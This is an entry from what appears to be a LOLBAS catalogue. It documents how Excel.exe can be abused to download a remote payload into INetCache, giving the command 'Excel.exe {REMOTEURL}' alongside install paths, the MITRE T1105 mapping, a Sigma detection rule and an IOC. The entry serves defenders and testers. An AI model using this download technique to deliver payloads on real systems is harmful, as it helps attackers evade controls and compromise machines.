LOL · OtherMSBinary

Excel.exe

1 techniqueWindowsLOLBASGPL-3.0

// LOL · Excel.exe

Full path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
C:\Program Files\Microsoft Office\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
C:\Program Files\Microsoft Office\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
C:\Program Files\Microsoft Office\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
Author: Reegun J (OCBC Bank)
Created: 2019-07-19T00:00:00.000Z
Credits: Reegun J (OCBC Bank) @reegun21
Upstream: lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/

Download

File DownloadWindows

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache.

Excel.exe {REMOTEURL}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml
IOC: Suspicious Office application Internet/network traffic
Refs: twitter.com/reegun21/status/1150032506504151040
medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/